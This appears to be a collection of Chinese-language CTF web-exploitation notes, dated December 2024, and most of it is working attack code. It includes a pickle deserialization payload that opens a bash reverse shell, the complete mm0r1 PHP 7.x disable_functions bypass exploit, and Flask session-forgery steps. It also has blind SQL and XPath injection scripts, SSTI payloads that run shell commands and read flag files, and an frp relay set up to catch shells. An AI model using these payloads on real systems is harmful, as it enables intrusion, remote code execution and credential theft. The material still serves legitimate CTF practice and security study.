December 8, 2024
#!/usr/bin/python3.6
import os
import pickle
from base64 import b64encode
User = type('User', (object,), {
'uname': 'test',
'is_admin': 1,
'__repr__': lambda o: o.uname,
'__reduce__': lambda o: (os.system,("bash -c 'bash -i >& /dev/tcp/ip/7777 0>&1'",))
})
u = pickle.dumps(User())
print(b64encode(u).decode())
December 8, 2024
-
session伪造
#
获取SECRET_KEY,一般存放在环境变量中,可通过evs查看,在靶场中可注意查看robots.txt或者通过注入{{config}}查看
noraj/flask-session-cookie-manager: Flask Session Cookie Decoder/Encoder (github.com)
注意python2和python3生成的是不一样的,win和linux好像也不一样
在encode时注意包裹要用双引号
在encode时,要注意是否包含True 或者False 在python要首字母大写,不要写错了
Ture =>True
Flase =>False
注意看到key后面的符号有些时候会没有复制到,如!
__import__(\"os\").popen(\"cat flag.txt\").read()
-
encode
python3 flask_session_cookie_manager3.py encode -s '.{y]tR&sp&77RdO~u3@XAh#TalD@Oh~yOF_51H(QV};K|ghT^d' -t '{"number":"326410031505","username":"admin"}'
-
decode
python3 flask_session_cookie_manager3.py decode -c 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoieWVhciJ9.u96oSxNl0euw-9FpcndeiWMoHfMHx55nfrpF8VcpzA8' -s 'you-will-never-guess'
没有key就直接-c,但是修改了再加密回去需要知道key才行
-
签名伪造
#
from flask import Flask
from flask.sessions import SecureCookieSessionInterface
app = Flask(__name__)
app.secret_key = b'fb+wwn!n1yo+9c(9s6!_3o#nqm&&_ej$tez)$_ik36n8d7o6mr#y'
session_serializer = SecureCookieSessionInterface().get_signing_serializer(app)
@app.route('/')
def index():
print(session_serializer.dumps("admin"))
index()
-
PID伪造
#
有key,
mac地址:c2:e8:f4:f8:4f:18
cat /sys/class/net/eth0/address
mac地址路径,cookie伪造:https://github.com/noraj/flask-session-cookie-manager
...
December 8, 2024
<?php
# PHP 7.0-7.4 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=76047
# debug_backtrace() returns a reference to a variable
# that has been destroyed, causing a UAF vulnerability.
#
# This exploit should work on all PHP 7.0-7.4 versions
# released as of 30/01/2020.
#
# Author: https://github.com/mm0r1
pwn("/readflag");
function pwn($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace(); # ;)
if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
# str_shuffle prevents opcache string interning
$arg = str_shuffle(str_repeat('A', 79));
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10; # increase this value if UAF fails
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle(str_repeat('A', 79));
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);
# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
($helper->b)($cmd);
exit();
}
?>
December 8, 2024
regexp盲注
select (select username from users regexp 正则表达式)
匹配则返回1,反之不匹配返回0
^xxx匹配xxx开头的字符
import string
from urllib import parse
import requests
url='http://57255251-75f0-44e7-a06a-8b81f5d2b486.node4.buuoj.cn:81/index.php'
strings='_'+string.ascii_lowercase+string.digits
passwd=''
while True:
for j in strings:
data={
'username':'\\',
'passwd':'||/**/passwd/**/regexp/**/"^{}";{}'.format((passwd+j),parse.unquote('%00'))#parse.unqote是不编码%00的意思
}
res=requests.post(url,data=data).text
if 'welcome' in res:
passwd += j
print("\r" + passwd, end="")
break
December 8, 2024
ruby_cookie
#
from: buuctf [BSidesCF 2019]Mixer
#
看到rack-cookie 找了个文章
require "uri"
require "base64"
require "pp"
encoded_string = "BAh7B0kiD3Nlc3Npb25faWQGOgZFVEkiRTBiNDJlNTgzNjJjOWFjNjU5NzJm%0ANzAwYmMxODczZTlkYzBiY2ZkMGI3NGZlYzE4NjBhNWRmNGY3NTg2NDg4NjkG%0AOwBGSSIMYWVzX2tleQY7AEYiJa5eOeNVt5U3U6b2OYRb%2Bz2Do4Uxpnpqkw5L%0AM%2BRPHR46%0A"
decoded_uri = URI.decode_www_form_component(encoded_string)
decoded_base64 = Base64.decode64(decoded_uri)
puts decoded_base64
begin
object = Marshal.load(decoded_base64)
pp object
rescue ArgumentError => e
puts "ERROR: "+e.to_s
end
改改,运行
ruby test.rb
看到
{I"session_id:ETI"E0b42e58362c9ac65972f700bc1873e9dc0bcfd0b74fec1860a5df4f758648869;FI"
aes_key;F"%�^9�U��7S��9�[�=���1�zj�K3�O:
{"session_id"=>"0b42e58362c9ac65972f700bc1873e9dc0bcfd0b74fec1860a5df4f758648869",
"aes_key"=>"\xAE^9\xE3U\xB7\x957S\xA6\xF69\x84[\xFB=\x83\xA3\x851\xA6zj\x93\x0EK3\xE4O\x1D\x1E:"}
aes key考虑一波解密,把密钥base64一下或者hex,试了上面的session_id 解不开
想到返回包中还有一个user cookie,得到
{"first_name":"123","last_name":"123","is_admin":0}
开了,直接该is_admin=1,在加密回hex发包回去
get flag
December 8, 2024
session的存储
#
<?php
session_start();
$_SESSION['session'] = '123';
?>
在win下面好像时默认存储在C:\window下面的,找不到可以用everthing搜一下
命名是以sess_[a-z0-9]
其存储的内容是根据session.serialize_handler定义的存储机制决定
存储机制 |
存储格式 |
php |
键名 + 竖线 + 经过serialize()函数序列化处理的值 |
php_binry |
键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()函数序列化处理的值 |
php_serialize |
经过serialize()函数序列化处理的数组 |
以session.serialize_handler=php为例
session|s:3:"123";
session污染
在有可控项写入session时用字符串拼接
|N;admin|b:1;
可以造成admin==1
December 8, 2024
SSTI模板注入
SSTI (Server Side Template Injection) - HackTricks
__class__
查看对象所在的类
__base__
查看一个类的父类
__mro__
返回包含回溯一个类所有由继承过父类的元组
__subclasses__()
返回一个类的所有子类的列表
__builtins__
内置模块的一个引用
__init__,__enter__
类实例化出一个对象时进行初始化方法
__globals__
返回一个函数所在的空间的所有类,属性,子模块以及方法的字典
__dict__
返回包含一个模块所拥有的类,属性,子模块以及方法的字典
__getattribute__
这个魔术方法可以拦截对对象的所有访问企图,但也具有访问对象的功能
ssti一般流程
#
尝试读取
{{config}}
{{self}}
__class__.__init__.__globals__[app].config
python2/3
python2
''.__class__.__mro__[2]
''.__class__.__base__.__base__
python3
''.__class__.__mro__[1]
''.__class__.__base__.
获取所有子类
''.__class__.base__[0].__subclasses__()
查找有用的子类
''.__class__.__mro__[-1].__subclasses__()[100].__init__
通过__globals__
''.__class__.__mro__[-1].__subclasses__()[100].__init__.__globals__
调用内置库的函数用builtins,调用模块用import载入
''.__class__.__mro__[-1].__subclasses__()[100].__init__.__globals__.__builtins__.eval
''.__class__.__mro__[-1].__subclasses__()[100].__init__.__globals__.__builtins__.__import__('os').popen("ls").read()
或者用eval导入os模块
''.__class__.__mro__[-1].__subclasses__()[100].__init__.__globals__.__builtins__.eval.__import__('os').popen("ls").read()
().__class__.__base__.__subclasses__()[213].__init__.__globals__['popen']('env').read()
别骂了,我太菜了
{{lipsum.__globals__.os.popen('cat flag.txt').read()}}
().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()")
过滤字符串,用字符拼接的方式
config
__class__.__init__.__globals__[app].config
没有内置os模块的
{{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
有内置os模块的
{{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls').read()}}
懒得找模块就直接bp遍历一波
{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag.txt').read()")}}{% endif %}{% endfor %}
过滤参考网上大把
...
December 8, 2024
某日突发奇想
在github 上发现了一个好东西。
安装一哈
配置VPS frp
#
[common]
bind_port = 7000 # VPS监听端口(你可以改成其他端口)
攻击机
#
注意,记得开启vps上的6000端口和4444端口
[common]
server_addr = <VPS的IP地址>
server_port = 7000 # VPS上frps的监听端口
[attack_machine_reverse_proxy]
type = tcp
local_ip = 127.0.0.1
local_port = 4444 # 攻击机上监听的端口(用来接收来自目标的连接)
remote_port = 6000 # VPS上开放的远程端口,用来转发流量
生成payload
#
这个不多说
注意在填写host的时候些vps地址,port 填remote_port的值(也就是6000端口)
被攻击机器上线
December 8, 2024
WEB-INF读取
filename=help.docx
一般来说,出于安全的考虑我们会将网页放在WEB-INF文件下,防止页面直接被访问;
这里主要说明,如何通过设置web.xml文件,来访问WEB-INF文件下的网页,
filename=WEB-INF/web.xml
filename=WEB-INF/classes/struts.xml
WEB-INF主要包含一下文件或目录:
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件
漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码
观察其中泄露信息,读取字节码(.class),在反编译
filename=WEB-INF/classes/com/wm/ctf/FlagController.class
December 8, 2024
详见
XPATH注入学习 - 先知社区 (aliyun.com)
import requests
import re
import time
s = requests.session()
url ='http://400f158d-53cf-4163-82a9-0d5ca129fab9.node4.buuoj.cn:81/login.php'
head ={
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36",
"Content-Type": "application/xml"
}
find =re.compile('<input type="hidden" id="token" value="(.*?)" />')
strs ='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
flag =''
for i in range(1,100):
for j in strs:
time.sleep(0.2)
r = s.post(url=url)
token = find.findall(r.text)
#猜测根节点名称
payload_1 = "<username>'or substring(name(/*[1]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
#猜测子节点名称
payload_2 = "<username>'or substring(name(/root/*[1]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
#猜测accounts的节点
payload_3 ="<username>'or substring(name(/root/accounts/*[1]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
#猜测user节点
payload_4 ="<username>'or substring(name(/root/accounts/user/*[2]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
#跑用户名和密码
payload_username ="<username>'or substring(/root/accounts/user[2]/username/text(), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
payload_password ="<username>'or substring(/root/accounts/user[2]/password/text(), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
print(payload_username)
r = s.post(url=url,headers=head,data=payload_password)
print(r.text)
if "非法操作" in r.text:
flag+=j
print(flag)
break
if "用户名或密码错误!" in r.text:
break
print(flag)